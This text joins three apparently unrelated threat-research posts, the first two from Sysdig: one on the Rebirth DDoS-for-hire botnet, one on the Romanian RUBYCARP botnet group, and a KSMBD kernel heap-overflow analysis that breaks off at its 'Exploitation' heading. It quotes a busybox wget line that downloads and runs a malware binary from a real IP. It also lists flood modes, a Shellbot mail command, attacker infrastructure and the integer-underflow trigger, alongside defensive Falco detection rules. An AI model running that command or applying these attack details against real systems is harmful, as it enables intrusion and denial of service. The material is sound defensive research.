RebirthLtd

At the core of the RebirthLtd’s business is its DDoS botnet, which is rented out to whomever is willing to pay. The botnet’s current capabilities include:

 • tcpbypass : Spoofed + raw TCP bypass attack.
 • ovhtcp : Spoofed TCP complex flood.
 • tcptfo : Spoofed TCP TFO floods.
 • handshake : Spoofed + raw handshake connections flood.
 • tcpreflect : Spoofed TCP packets reflected attack auto bypass geoblock.
 • tcprst : raw TCP RST packets terminate connections.
 • udpbypass : udp bypass raw flood.
 • socket : socket layer raw + spoof flood.
 • gamep : high spoofed + raw packets flood.
 • udpflood : raw UDP packets flood.
 • ackflood : raw TCP ACK packets flood.
 • synflood : raw TCP SYN packets flood.
 • wraflood : tcp raw handshake flood.

RebirthLtd offers its services through a variety of packages listed on a web-based storefront that has been registered since August 2022. The cheapest plan, for which a buyer can purchase a subscription and immediately receive access to the botnet’s services, is priced at $15. The basic plan seems to only include access to the botnet’s executables and limited functionalities in terms of available number of infected clients. More expensive plans include API access, C2 servers availability, and improved features, such as the number of attacks per second that can be launched.

The botnet’s main services seem to be targeting video game streamers for financial gain, as its Telegram channel claims that RebirthHub (another moniker for the botnet, along with RebirthLtd) is capable of “hitting almost all types of game servers.”

The Telegram channel was created in April 2023, but the first message advertising the Rebirth botnet was posted at the end of January 2024. Regular updates are posted every few days. At the time of writing, there were approximately 200 subscribers.

The botnet seems to be monitored by a DDoS monitoring website, tumult.network, where it appears in the top 5 rankings as the fifth-most prolific botnet for total requests sent, presumably, to flood targets.

Tumult is an emerging resource, which acts like the Yellow Pages or Craigslist for DDoS services. Over the past few years, the site has grown due to the ease of setting up malicious operations, for example, because Mirai’s source code itself is freely available. Multiple botnet buildkit tools have been observed, as analyzed by Imperva. There is a lucrative market for customers who are willing to pay a small fee to sublease infected devices and carry out malicious operations, protected by the anonymity that the botmasters are able to provide with services such as Rebirth. For the botmasters, who were previously associated with hacking groups, this has facilitated the illicit monetization of their technical skills. 

Learn How To Prevent DDoS Attacks

Motivations

In the Telegram channel, this botnet claims to be capable of “hitting almost all types of game servers,” and we found that most of the Rebirth botnet users are targeting video game streamers for financial gain.

DDoS in the gaming industry seems to be an increasingly common issue. With a botnet such as Rebirth, an individual is able to DDoS the game server or other players in a live game, either causing games to glitch and slow down or other players’ connections to lag or crash. The individual then appears to be more skilled than the rest. This may be financially motivated for users of streaming services such as Twitch, whose business model relies on a streaming player gaining followers; this essentially provides a form of income through the monetization of a broken game.

Our hypothesis for the increase in gaming DDoS is corroborated by the findings we have gathered on the individuals responsible for the development and maintenance of the botnet.

Another use case for buyers of the Rebirth botnet is “DDoS trolling.” Also known as “stresser trolling,” this phenomenon is also quite prevalent in the gaming community, as it involves the use of botnets to launch DDoS attacks against gaming servers. The attacks in question aim to disrupt the gaming experience of legitimate players, flooding the server with an overwhelming amount of traffic and rendering it inaccessible or causing severe lags.

Attribution

Threat Group Members

The leader of Rebirth seems to be an individual called “CazzG” on Telegram, but this username was not present in the channel bio at the time of writing. Upon further analysis, we identified the username CazzG listed separately as both the support admin and CEO for another botnet called “estresse.pro.” Furthermore, there is a possibility this user is Chinese. We found Chinese advertisements in the channel which said to contact CazzG for purchase. In a Telegram channel for the Tsuki botnet, which is also advertised in the Rebirth channel, we also found that CazzG’s username displays a Chinese flag. Finally, we identified other monikers for this individual during our research including “Elliot,” “rootkit ty,” and “R00TK.”

The Telegram channel for the stresse.pro botnet does not seem active anymore, and the last message posted concerns the actual sale of the botnet.

We believe a German-speaking individual by the username of “Docx69” on Telegram, and “prixnuke” on TikTok and YouTube, is also a Rebirth botnet administrator and advocate. They frequently upload videos on TikTok of their streaming sessions for video games “Call of Duty: Warzone,” often with a disclaimer that a “Nuke Service” is available for purchase in a private, invitation only Discord server “shop4youv2.” We made a direct correlation with the Rebirth botnet because of a YouTube video that was circulated in the Telegram channel claiming that the botnet can cause lags to one of the gaming servers hosting Warzone. The video itself is an advertisement for the Rebirth botnet.

The domain shop4youv2.de was part of an FBI takedown operation named “Operation PowerOFF,” as shown below, which started in 2022 according to this article.

An ELF Digest report we found identifies the domain as spreading Mirai malware, whose C2 was IPv4 93[.]123[.]85[.]149. According to AlienVault, this IP hosted at some point the domain “tsuki.army,” which is the domain used to advertise a secondary botnet within the Rebirth Telegram channel.

Learn How To Prevent DDoS Attacks

Malware Family

As is the case with many botnet and malware variants, Rebirth is the culmination of multiple well-known malware families. While investigating related previous campaigns, we found this tweet from May 2020 that included a detailed analysis of a malware that was named by the author as “Rebirth” and “Vulcan.” 

From a November 2020 analysis on VirusTotal, the Rebirth/Vulcan malware family for this DDoS botnet was not labeled as Mirai, but as its own family known as Rebirth. It was described as a botnet built off Gafgyt but specifically made to target IoT devices. According to the author, the malware also inherited some capabilities from known families QBot and STDBot, also incorporating known exploits. 

We are very confident that these old findings are early evolutions of the Rebirth DDoS botnet attacks we see now. Campaigns prior to August 2022 were likely the Rebirth leaders or affiliated members, whereas attacks following the advertisement of Rebirth as a DDoS-as-a-service botnet likely include buyers.

Learn How To Prevent DDoS Attacks

Campaigns

Early Campaigns

Digging further into the initial Rebirth botnet findings dating back to 2019, we found several technical details confirming the current RebirthLtd botnet-for-hire is the same. The tweet below shows variants circulating under executable names “rebirth”. The files from 2019 are still available in VT.

The payload from the tweet resembles the bash scripts we have collected from recent botnet attacks.

Recent Campaigns

The Rebirth botnet has been quite active since its initial advertisement on Telegram this year. It is less likely that these recent attacks are the Rebirth founders and developers, but rather other users who have purchased the botnet capability. Attribution can get quite convoluted in for-sale and for-hire instances.

Rebirth botnet attacks are being actively identified and reported by others as well, as seen here. However, the C2 identified as rebirthbot[.]icu is now dead. In an earlier attack, on Feb. 11, 2024, Fox_threatintel tweeted several details, including the same bash scripts we identified. As shown below, this campaign was associated with “Stresse.Pro,” which we identified above as related to the founder of Rebirth. Another interesting part of this attack analysis is the correlation with an APT group called “rEAL l33t hxors,” for which we have not found further evidence.

We also received attacks to our honeypots from three other domains associated with the Rebirth botnet:

• Yoshiproxy[.]ltd
• Yosh[.]ltd
• yoshservices[.]ltd

We found evidence that the domain “yosh.ltd” had previously executed Rebirth attacks in September 2023. During triage, we found the associated domain “blkyosh.com.” Telemetry in VirusTotal reveals that these attacks have already been detected in a number of countries: Spain, United States, Ireland, and Germany.

Infection Methods

The malicious ELFs are spread on a target system by downloading and executing a bash script, whose code remains the same in all campaigns. The filename and executable names are changed according to either the campaign or a given vulnerability exploited. For example, one of the scripts we collected is named after the Ruckus Wireless Admin software which was, at some point, vulnerable to CVE-2023-25717. We believe that the naming convention corresponds to the malware compatibility for a given target system, where certain bots are deployed according to either a vulnerable service or simply for architecture compatibility. For example, in this case below, once the attackers find a vulnerable Ruckus software, they deploy the specific compatible botnet variant.

The script follows the same structure:

• It attempts to change the directory (cd) to several locations such as /tmp, /var/run, /mnt, and /root. This is likely an attempt to navigate to common directories where temporary files or system files might be stored.

• It then attempts to download multiple files from a remote server using wget. These files have names like rebirth.mips, rebirth.mpsl, rebirth.sh4, etc.
• After downloading each file, it sets execute permissions (chmod +x) and executes them (./filename). These files are then removed (rm -rf) after execution.

A second variant of the bash script pipes the malicious retrieval and execution of the ELF files into busybox, using the following command:

cd /usr; rm -rf mpsl ; /bin/busybox wget http://194.169.175.43/mpsl; chmod 777 mpsl ; ./mpsl lillin; cd /usr; rm

This may be a recent introduction that aims to minimize detection risks by taking advantage of the many busybox built-in commands. This finding also corroborates the previous evidence of Rebirth we found, where the payloads are different according to whether the target runs the busybox suite. At the time of writing, we have collected 11 bash scripts, available here.

Learn How To Prevent DDoS Attacks

Tool Arsenal

We were able to retrieve 137 Rebirth executables, which are bundled by the attackers according to the campaign and run by inputting a prefix (e.g., original ELF “arm4” is labeled “l1arm4,” “k1arm4”). 

Some of them have no detections on VirusTotal and were not submitted prior to our investigations. At the time of writing, we have found 90 undetected variants, for which a list of IoCs is available here.

Dynamic Analysis

Upon execution of a random sample of undetected variants we collected, we were able to establish that these variants seem akin to previously documented Gafgyt samples given the methods used, such as relying on the prctl syscall to mask its process name to /bin/bash. 

These samples in particular all conclude their execution by echoing “RebirthLTD.”

It is interesting to note that the executables are set with specific commands to start, for example, “$1” or “ntel.” Otherwise, they do not seem to perform the same operations.

The optional argument could serve as a mechanism for remote control or command injection, as attackers may use this feature to remotely issue commands to infected devices, instructing them to perform specific actions or download and execute additional payloads. This can also make the malware behavior less predictable and harder to analyze, as attackers have incorporated randomness or variability into the execution process. Hence, had we not fully obtained the initial payload (bash script) containing the correct arguments for the given ELFs, we may have not been able to capture the malware’s behavior.

Investigating with our Sysdig captures, we observed the following:

The malware performs a large number of read operations on the /proc/net/tcp file, one byte at a time. The tcp file provides information about active network connections on the host. Rebirth may be attempting to scan for further vulnerable devices by reading /proc/net/tcp or similar files, with the objective of identifying open ports and potential targets for infection.

It then performs socket creation and binding to the local address addresses on a specific port “8345,” which suggests that the program is setting up a network listener. In the case of Rebirth, this could be the malware setting up a command and control server to receive commands from the attacker or to coordinate with other infected devices in the botnet.

This variant also sets socket options to manipulate the behavior of network connections, such as enabling the reuse of addresses to facilitate rapid propagation and evasion of detection.

It then concludes its execution by creating a fork, in this case to further carry out malicious operations such as scanning for vulnerable devices and launching distributed denial-of-service (DDoS) attacks.

Detection

The prctl system call is commonly used to control various aspects of a process’s behavior. One specific option, PR_SET_NAME, can be used to assign a name to a process, which can be useful for debugging purposes. However, this feature can be abused by malicious actors to obfuscate the true nature of a process or to impersonate legitimate processes, as we have observed with the Rebirth malware. In our case, the prctl syscall was used to set the process name as /bin/bash to evade detection by security tools. 

This system call is leveraged by various tools, so we are providing an example limited to programs executed from a suspicious location, such as /tmp. Falco can be used to detect the use of Rebirth in the runtime using a custom rule and a default one that can detect the starting execution of Rebirth at runtime, but you can also modify or craft new ones if you want to improve the detection.

- rule: Suspicious Process Impersonation
  desc: Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign.
  condition: evt.type=prctl and evt.dir=< and evt.arg.option="PR_SET_NAME" and (proc.exepath contains "/tmp" or proc.exepath contains "/shm")
  exceptions:
  outputs: Process invoked name change from suspicious location (proc.exepath=%proc.exepath evt.args=%evt.args proc.pname=%proc.pname gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4] proc.ppid=%proc.ppid proc.pcmdline=%proc.pcmdline user.name=%user.name user.loginuid=%user.loginuid proc.tty=%proc.tty proc.cmdline=%proc.cmdline proc.pcmdline=%proc.pcmdline gcmdline=%proc.acmdline[2] container.id=%container.id container_name=%container.name proc.pid=%proc.pid proc.cwd=%proc.cwd image=%container.image.repository:%container.image.tag evt.args=%evt.args)
  priority: WARNING
  tags: [host, container, process]

Rebirth and other Linux malware is often run from the “/tmp” directory. This directory is backed by memory and not stored on the hard drive, making it harder to find with forensics. Any executions from temporary directories should be reviewed. 

- rule: Execution from /tmp
  desc: This rule detects file execution from the /tmp directory, a common tactic for threat actors to stash their readable+writable+executable files.
  condition: spawned_process and (proc.exepath startswith "/tmp/" or (proc.name in (shell_binaries) and proc.args startswith "/tmp/")) and not pip_venv_tmp 
  exceptions:
  output: File execution detected from /tmp by process %proc.name with parent %proc.pname on %container.name under user %user.name with cmdline %proc.cmdline (proc.cmdline=%proc.cmdline connection=%fd.name user.name=%user.name proc.name=%proc.name proc.pname=%proc.pname gparent=%proc.aname[2] ggparent=%proc.aname[3] gggparent=%proc.aname[4] user.loginuid=%user.loginuid container.id=%container.id evt.type=%evt.type evt.res=%evt.res proc.pid=%proc.pid proc.cwd=%proc.cwd proc.ppid=%proc.ppid proc.pcmdline=%proc.pcmdline proc.sid=%proc.sid proc.exepath=%proc.exepath user.uid=%user.uid user.loginname=%user.loginname group.gid=%group.gid group.name=%group.name container.name=%container.name image=%container.image.repository)
  priority: WARNING

Conclusion

The release of the Mirai source code in 2017 and the advent of cryptocurrency has created an entire new industry around offering botnets for Denial of Service services. Rebirth shows the continued evolution of this business model as they become more sophisticated on the commercial-side while also taking advantage of the current boom in CVEs. 

No matter the motivation of the users, these services will continue to present a threat to all networks and reinforce the need for good security hygiene. Organizations do not want to find themselves as part of these botnets as it will result in degraded performance, increased costs, and possibly reputational damage. Proactive vulnerability management and real-time runtime threat detection are two effective ways of dealing with threats like a Rebirth botnet DDoS. 

The post DDoS-as-a-Service: The Rebirth Botnet appeared first on Sysdig.

RUBYCARP, like many threat actors, is interested in payloads that enable financial gain. This includes cryptomining, DDoS, and Phishing. We have seen it deploy a number of different tools to monetize its compromised assets. For example, through its Phishing operations, RUBYCARP has been seen targeting credit cards. As we have seen with other threat actors, it has a diversified set of illicit income streams.

Attribution

RUBYCARP, the name we have given this group, is a financially-motivated threat actor group that is most likely Romanian. RUBYCARP may be related to the Outlaw advanced persistent threat (APT), as it does share many of the same tactics, techniques, and procedures (TTPs). However, since these shared TTPs are common across many botnet operators, we cannot definitively make this conclusion. RUBYCARP leverages Shellbot often during its operations, which can also cause attribution confusion since this tool is a common choice among threat actors. 

In the murky world of cybercriminal threat intelligence, there is often a lot of crossover in both tools and targeting. In the recent advisory from CISA, the Androxgh0st threat actor’s choice to exploit Laravel is discussed. This is another example of cybercriminal overlap, with RUBYCARP notably targeting the same framework vulnerabilities. Many of these threat actors are fighting it out over the same target space, making it difficult to attribute attacks. 

What is RUBYCARP?

For months, Sysdig TRT’s has been tracking RUBYCARP through the targeting and exploitation of Laravel applications vulnerable to CVE-2021-3129. This led to evidence of SSH Brute forcing as another way the group gained access to its targets. Recently, we also discovered evidence of the threat actor targeting WordPress sites using dumps of usernames and passwords. RUBYCARP continues to add new exploitation techniques to its arsenal in order to build its botnets. 

Once access is obtained, a backdoor is installed based on the popular Perl Shellbot. The victim’s server is then connected to an IRC server acting as command and control, and joins the larger botnet. During RUBYCARP’s reconnaissance phase, we found 39 variants of the Perl file (shellbot), but only eight were in VirusTotal. This means that only a few campaigns were previously detected. The modifications of the files are:

• A nickname is used to join the IRC server 
• The channel where the victim joins is often marked by either a platform name (e.g., apache) or a member name (e.g., juice)
• Sometimes auth is added
• The IRC server

Campaigns

After connecting to the IRC server, we discovered the actual number of compromised hosts at over 600. On the other hand, by not properly configuring the connection to the server, RUBYCARP has a detection system to kick out unexpected/unwanted users of the server and ban their IP to prevent new connections. It tries to keep the network hidden as much as possible. 

The last active domain of this botnet is chat[.]juicessh[.]pro, and we were able to obtain the information below:

• It was created on Monday, May 1, 2023 at 04:30:05 UTC
• 624 nicks [2 ops, 0 halfops, 0 voices, 622 normal]
• VICTIMS by channel at the moment of writing:
  • #juscan1, 176 victims
  • #cfs, 11 victims
  • #php3, 34 victims
  • #sb, 33 victims

Based on naming schemes and connection configuration, the apparent group would be composed of users like “juice,” “cartier,” or “aridan,” but there could be more, where each one might be dedicated to a purpose, cryptomining, customized tools, etc. During our investigation, we determined that its IRC server of choice for public and private hosting is undernet.org. The active private IRC networks are chat[.]juicessh[.]pro and sshd[.]run.

The infrastructure we discovered for RUBYCARP is comprised of a significant number of malicious IPs and domains, rotated regularly and often replaced and emptied of its malicious content as soon as any potential research activity was detected. A full infrastructure list is available here.

How does RUBYCARP Operate?

RUBYCARP uses multiple IRC networks for general communications, but also to manage its botnets and coordinate cryptomining campaigns. An outline of its organization when managing botnets would be as follows:

In one of the logs we acquired, RUBYCARP tends to share the tools it is using, which include many of the tools we have been able to collect through our honeypot, such as:

• Banner
• Masscan
• X (kernel module)
• brute

Communications

Private IRC

For managing its botnet, RUBYCARP uses a collection of private IRC servers and seems to rotate them regularly. “Juice.baselinux.net,” “chat.juicessh.pro,” and others are the latest active ones at the time of writing. Each RUBYCARP campaign gets its own IRC channel and the bots within each channel are then named according to a predefined scheme. We were able to map the observed servers and their respective channels, although, unfortunately, not all of them are still active or accessible. 

Public IRC

Members

Members of RUBYCARP mainly communicate through an Undernet IRC channel called #Cristi. Public logs for the channel show a user (and admin) “_juice” interacting with other members of the group in Romanian; we can also see that the channel topic is related to previous or current campaigns, available below.

While we monitored the chats, both actors, juice and Eugen, who own the channel #Eugen from which we collected most of the mining setup evidence, were present in channel #Cristi.

Within the user base of the channel #Cristi, which at the time of writing contained 280 users, we identified multiple familiar names of actors who attacked our honeypot. For example, “Catalin” attacked our honeypot on Jan. 8, 2024 from IP 80[.]83[.]124[.]150. The following image is of the website hosted there at the time of the attack. Notice the attribution to “Catalin” at the bottom.

Another one is “aridan,” who we observed in previous attacks with the domain “aridan.men.”

The most recurring IRC admins we found within the Shellbot configuration files are “juice,” “MUIE,” and “Smecher,” who also each have their own respective channels for malicious operations. “juice” has been the most prolific in setting up new malicious Shellbot configurations, new servers, and new victim channels. Below is the WHOIS screenshot for the #Cristi channel members we’ve identified: 

juice_, admin

Smecher, admin

MUIE, admin

Aridan, member

Catalin, member

Dog, developer

Community

We identified a custom script that is plausibly circulated among the group members on how to set up the juice mining operation. It then lists the #redhat channel hosted on undernet for support. This channel has no official relation to RedHat the business or software, and is likely just a nod to redhat vigilante hacking.

The redhat channel uses the undernet IRC network. Specifically, this group uses the Romanian server bucharest.ro.eu.undernet[.]org, where the username @juice_ is present. 

The channel #Cristi is used to set up mining operations and keeps track of the members utilizing the custom malicious tools we encountered, often signed by “Juice” and “Cartier” (aka “dog” and “Kartier”) group members.

Within the channel #Cristi logs we were able to scrape, we found a reference to an external link  http://physics.uctm.edu/funis/eugen. To our surprise, it contained quite an extensive record of logs taken from the private channel #Eugen, which we had not seen before.

By investigating what we had found, we quickly discovered that the two people involved in most of the interactions within these logs were user “Kartier” (signed as “dog”) and “Eugen.” Both members were present, at different times, in the channel #Cristi. “Eugen” seems to be a moniker for a Romanian individual who also conducts malicious operations alongside the other members, as the logs containing their own miner setups attest.

The main domain where these logs are currently saved belongs to a legitimate Bulgarian University, the University of Chemical Technology and Metallurgy. The subdomain physics.uctm[.]edu appears to be compromised by RUBYCARP and contains detailed instructions and information on the tools used and the miner configuration.

We’ve identified the user “dog” as the main malicious tool developer of the group, signing their tools with “Cartier” and “Kartier.”  We have also found direct evidence of tool developer, “Cartier,” within the channel #Cristi, as shown below.

Dog’s tool expertise is reflected in the way it instructs other members of the group how to set up and run the custom malicious tools. These malicious tools have been found in almost all of the campaigns we were targeted in. This list includes:

Here, user “Eugen” shows running miners, bash, and ld-linux-x8:

There is also a reference to malicious ELF “plm,” observed multiple times in attacks against our honeypot and also reported in past campaigns:

Below, there is an excerpt of how user “dog” is attempting to give access to user “Eugen” to a malicious domain containing a setup script for its infrastructure.

The IP above corresponds to a malicious indicator on VirusTotal, identified as malware.

There are also references to RUBYCARP’s most commonly used tool, Mass Scanner (masscan), a tool omnipresent within its pre-exploitation activities and utilized to find new potential victims.

RUBYCARP’s Motivations

Cryptomining

RUBYCARP uses its own pools for mining that are hosted on the same domains where it has created the IRC server to control the bots. These custom mining pools allow it to avoid detection from IP-based blocklists, and the usage of common and random ports provides another layer of stealth from simple detection systems. We’ve also discovered that it has not focused on a single cryptocurrency or mining tool but, instead, has several miners and wallets with activity. All the following IoCs are related to the “juice” threat actor.

Mining Pools: 

• juicessh[.]space:443
• juicessh[.]space:4430
• juicessh[.]space:5332
• 91[.]208.206.118:443
• 194[.]163.141.243:4430
• sshd[.]baselinux[.]net
• run[.]psybnc[.]org:443

Known miners

• NanoMiner
• XMrig

Cryptocurrencies

• Monero
• Ethereum
• Ravencoin

The Ravencoin wallet has been particularly prolific. From a wallet checker, its total amount in USD would be over $22,800 received. The wallet has a large number of transactions associated with it and has been active since February 2022, and the last available transaction was mined on March 12, 2024.

There are also several exchanges of wallet information among the members, in an attempt to show how much they have gained from these malicious campaigns. In the excerpt below, user “porno” claimed to have gained 0.00514903 BTC, around $360 USD, within 24 hours.

C3Bash

On top of the already known miners we observed above, we also encountered a custom command-line miner set up called simply “miner,” which we named “C3Bash” due to the self-labeling we found. The script in question is signed by “Juice” and it allows a potential user to set up its wallet address with a command line argument, as well as any miner of choice. 

Once the user has set up its configurations, the script takes care of downloading, installing, and running the miners in the background, also alerting the user if the script gets killed by an antivirus or simply removed. It also suggests what the CPU usage should be compared to the host, probably to avoid detection. On a victim device, this may result in the running of multiple miners at the same time, effectively reducing both the time it takes for the attacker to execute the malicious payload and the chances of it being detected, as the execution will now rely on a single script. 

The script at the moment supports miners XMRig/Monero, and the script itself was hosted on a now-dead domain “download[.]c3bash[.]org.”

Phishing

We found evidence that RUBYCARP also executes phishing operations to steal financially valuable assets, such as credit card numbers. Based on logs, it appears that it is using this to fund its infrastructure but it is reasonable to think RUBYCARP also uses these for other purposes, or possibly to sell. 

In one of the attacks we received against our honeypot in December 2023, we identified a phishing template (letter.html) targeting Danish users and impersonating the Danish logistics company “Bring.”

We also discovered a PHP script, named “ini.inc,” used to send those phishing emails. An email.txt file was found that contained two potential compromised email accounts from which the attackers would send emails: “test@lufaros[.]com” and “maria@cenacop[.]com.” At the time of this writing, the domain “lufaros[.]com” is marked as Malicious on VirusTotal.

Analyzing the shellbot code shows that it has specific commands to send emails, and it is likely that this is the template used in the campaigns:

sendraw($IRC_cur_socket, "PRIVMSG $printl :!u sendmail <subject> <sender> <recipient> <message>");

We identified 36 text files containing hundreds of Danish email addresses, some of which were present in both old and recent data leaks. It is reasonable to think that the email addresses may have been the target of the phishing template shown above.

Within the same data, we also identified a Zip file named “remote_code.zip.” Once extracted, the archive contains a logo image of the European bank Nets. Within the same folder, there are also SVG files containing an “ID Check” verification image and a Visa logo. More images were also found containing a mobile phone layout, as shown below, effectively emulating a Nets home banking application. These would be used to build a convincing phishing landing page.

Finally, we also found direct evidence of a new domain purchase. In an excerpt below, it is possible to see how the user “dog”/”cartier” is preparing to purchase a new potential domain with stolen credit card data. 

The screenshot above shows a conversation where user “dog” lists files which we believe it has stolen. The filenames seem a clear reference to Swedish bank Swish, and the timestamp in the filenames suggests they may have been stolen in 2016. “Dog” also provided credit card information to be used, presumably, by other members. These were printed in clear text within the channel, and have been redacted as they contained payment information.

Given the evidence above, it is plausible that the attackers may rely on phishing templates to collect payment information. It is safe to assume the phishing targets European entities, such as Swish Bank, Nets Bank, and Bring Logistics, among others.

Conclusion

RUBYCARP is a group of Romanian threat actors who have been active for almost a decade. Attribution is always difficult, but they are most likely Romanian and may have some crossover with the “Outlaw APT” group and others who leverage the Perl Shellbot. These threat actors are also involved in the development and sale of cyber weapons, which isn’t very common. They have a large arsenal of tools they have built up over the years which gives them quite a range of flexibility when conducting their operations.

Communications between threat actors hasn’t changed very much over the years, with IRC still being very popular. There is also a community aspect to RUBYCARP which is interesting, as they help mentor people who are new to the scene. This does provide some financial benefits to the group since it can then sell them the toolset that it has made. 

While RUBYCARP targets known vulnerabilities and conducts brute force attacks, what makes it more dangerous is its post-exploitation tools and the breadth of its capabilities (i.e., Phishing). Defending against this group requires diligent vulnerability management, a robust security posture, and runtime threat detection. 

The post RUBYCARP: A Detailed Analysis of a Sophisticated Decade-Old Botnet Group appeared first on Sysdig.

KSMBD, as defined by the kernel documentation¹, is a linux kernel server which implements SMB3 protocol in kernel space for sharing files over network. It was introduced in kernel version ‘v5.15-rc1’ so it’s still relatively new. Most distributions do not have KSMBD compiled into the kernel or enabled by default.

Recently, another vulnerability (ZDI-22-1690²) was discovered in KSMBD, which allowed for unauthenticated remote code execution in the kernel context. This provided a motivation to look further into KSMBD’s code, where we found a new heap overflow in KSMBD’s authentication code.

What is ZDI-22-1690?

To understand where the bug happens, we will start with looking at the previous vulnerability in KSMBD. The fix commit³ says:

> smb2_tree_disconnect() freed the struct ksmbd_tree_connect, but it left the dangling pointer. It can be accessed again under compound requests.

This is how the function looked before the patch:

int smb2_tree_disconnect(struct ksmbd_work *work)
{
	struct smb2_tree_disconnect_rsp *rsp = smb2_get_msg(work->response_buf);
	struct ksmbd_session *sess = work->sess;
	struct ksmbd_tree_connect *tcon = work->tcon; // (1)

	rsp->StructureSize = cpu_to_le16(4);
	inc_rfc1001_len(work->response_buf, 4);

	ksmbd_debug(SMB, "request\n");

	if (!tcon) {
		struct smb2_tree_disconnect_req *req =
			smb2_get_msg(work->request_buf);

		ksmbd_debug(SMB, "Invalid tid %d\n", req->hdr.Id.SyncId.TreeId);
		rsp->hdr.Status = STATUS_NETWORK_NAME_DELETED;
		smb2_set_err_rsp(work);
		return 0;
	}

	ksmbd_close_tree_conn_fds(work);
	ksmbd_tree_conn_disconnect(sess, tcon); // (2)
	return 0;
}

In the commit message, it says that the above function frees the ‘ksmbd_tree_connect’ struct but will leave a dangling pointer. There is only one `ksmbd_tree_connect` struct in this function and that is the ‘work->tcon’ pointer **(1)**. That pointer is also referenced just once in this function and it is the second argument to ‘ksmbd_tree_conn_disconnect’ function call **(2)**. Now, let’s take a look at what ‘ksmbd_tree_conn_disconnect’ does with the ‘tcon’ pointer:

int ksmbd_tree_conn_disconnect(struct ksmbd_session *sess,
			       struct ksmbd_tree_connect *tree_conn)
{
	int ret;

	ret = ksmbd_ipc_tree_disconnect_request(sess->id, tree_conn->id);
	ksmbd_release_tree_conn_id(sess, tree_conn->id);
	xa_erase(&sess->tree_conns, tree_conn->id);
	ksmbd_share_config_put(tree_conn->share_conf);
	kfree(tree_conn); // [1]
	return ret;
}

As shown in the code snippet above, ‘ksmbd_tree_connect’ is freed at the end of this function, which means that ‘work->tcon’ is now a pointer to a freed kernel heap chunk. We can also take a look at the Kernel Address Sanitizer (KASAN) report, which detects memory errors, provided in the fix commit:

[ 1685.468014 ] BUG: KASAN: use-after-free in ksmbd_tree_conn_disconnect+0x131/0x160 [ksmbd]

[ 1685.468068 ] Read of size 4 at addr ffff888102172180 by task kworker/1:2/4807

[...]

[ 1685.468130 ] Call Trace:

[ 1685.468132 ] <TASK>

[...]

[ 1685.468210 ] ksmbd_tree_conn_disconnect+0x131/0x160 [ksmbd]

[ 1685.468222 ] smb2_tree_disconnect+0x175/0x250 [ksmbd]

[...]

It says that the use-after-free happens in the ‘ksmbd_tree_conn_disconnect’ function called by ‘smb2_tree_disconnect,’ where then it is safe to assume that sending compound ‘SMB2_TREE_DISCONNECT’ commands to the KSMBD server will cause a double free on the ‘work->tcon’ pointer. The exploitation method is unknown but also irrelevant for this post.

NTLM Authentication

Since the heap overflow vulnerability is in the NTLM authentication code, we should have an understanding of how NTLM works.

1. The client requests the server with the username they want to authenticate to.
2. Server checks if the username exists.
   1. If not, it drops the connection.
   2. Otherwise, it sends a challenge to the client.
3. The client receives the challenge and sends back said challenge encrypted with the hash of the user password.
4. The server takes the user’s password from the system, hashes it, and encrypts the challenge from step 2 with that hash.
5. The server compares the blob from step 3 and step 4.
   1. If they match, the client is now authenticated.

CVE-2023-0210

While searching for vulnerabilities reachable without authentication, we assumed it would be a good idea to start looking into the authentication implementation first. After a bit of searching, we found a function named ‘ksmbd_decode_ntlmssp_auth_blob.’

int ksmbd_decode_ntlmssp_auth_blob(struct authenticate_message *authblob,
									int blob_len, struct ksmbd_conn *conn,
									struct ksmbd_session *sess)
{

	char *domain_name;
	unsigned int nt_off, dn_off;
	unsigned short nt_len, dn_len;
	int ret;

	[...]

	// (1)
	nt_off = le32_to_cpu(authblob->NtChallengeResponse.BufferOffset);
	nt_len = le16_to_cpu(authblob->NtChallengeResponse.Length);

	[...]

	if (blob_len < (u64)dn_off + dn_len || blob_len < (u64)nt_off + nt_len) // (2)
		return -EINVAL;

	[...]

	ret = ksmbd_auth_ntlmv2(conn, sess,
							(struct ntlmv2_resp *)((char *)authblob + nt_off),
							nt_len - CIFS_ENCPWD_SIZE, // (3)
							domain_name, conn->ntlmssp.cryptkey);

	[...]
	
	return ret;
}

A thing to note is that the ‘authblob’ variable here is the third step of NTLM authentication. In order to reach this function, we have to know a valid username of the remote KSMBD instance to get past the first two steps.

Let’s examine the code above. First, the function takes ‘BufferOffset’ and ‘Length’ from the client’s challenge response and stores them in ‘nt_off’ and ‘nt_len,’ respectively **(1)**. Afterwards, it will do a check to see if ‘nt_off + nt_len’ goes out of bounds of in-memory client’s challenge response **(2)**. Finally, it calls ‘ksmbd_auth_ntlmv2,’ the fourth argument being ‘nt_len – CIFS_ENCPWD_SIZE’ **(3)**, which is where the bug lies: an integer underflow is triggered if ‘nt_len’ provided by the client’s challenge response is less than ‘CIFS_ENCPWD_SIZE.’

Now, let’s take a look at what ‘ksmbd_auth_ntlmv2’ does with the fourth argument:

int ksmbd_auth_ntlmv2(struct ksmbd_conn *conn, struct ksmbd_session *sess,
		      struct ntlmv2_resp *ntlmv2, int blen, char *domain_name,
		      char *cryptkey)
{
	char ntlmv2_hash[CIFS_ENCPWD_SIZE];
	char ntlmv2_rsp[CIFS_HMAC_MD5_HASH_SIZE];
	struct ksmbd_crypto_ctx *ctx;
	char *construct = NULL;
	int rc, len;

	[...]

	len = CIFS_CRYPTO_KEY_SIZE + blen; // (1)
	construct = kzalloc(len, GFP_KERNEL);
	if (!construct) {
		rc = -ENOMEM;
		goto out;
	}

	memcpy(construct, cryptkey, CIFS_CRYPTO_KEY_SIZE);
	memcpy(construct + CIFS_CRYPTO_KEY_SIZE, &ntlmv2->blob_signature, blen); // (2)

	[...]

out:
	ksmbd_release_crypto_ctx(ctx);
	kfree(construct);
	return rc;
}

As we can see in the code above, it is referenced in two places: the ‘len’ calculation **(1)** and the ‘memcpy’ call **(2)**, and in such a way that it can be abused to overflow the allocated heap buffer.

If the ‘blen’ value is -7, then the ‘len’ calculation will be ‘CIFS_CRYPTO_KEY_SIZE + (-7)’ or ‘8 + (-7).’ That will result in a kzalloc call with the size argument being 1, and then ‘memcpy’ will use that allocated heap buffer as the destination to copy ‘blen,’ or -7, amount of bytes to it, resulting in a heap buffer overflow.

Since the type of memcpy’s third argument is ‘size_t,’ this overflow will be too large for remote code exploitation but would most likely result in a denial of service. Once the write operation reaches an inaccessible area of memory, a kernel panic will occur.

Exploitation

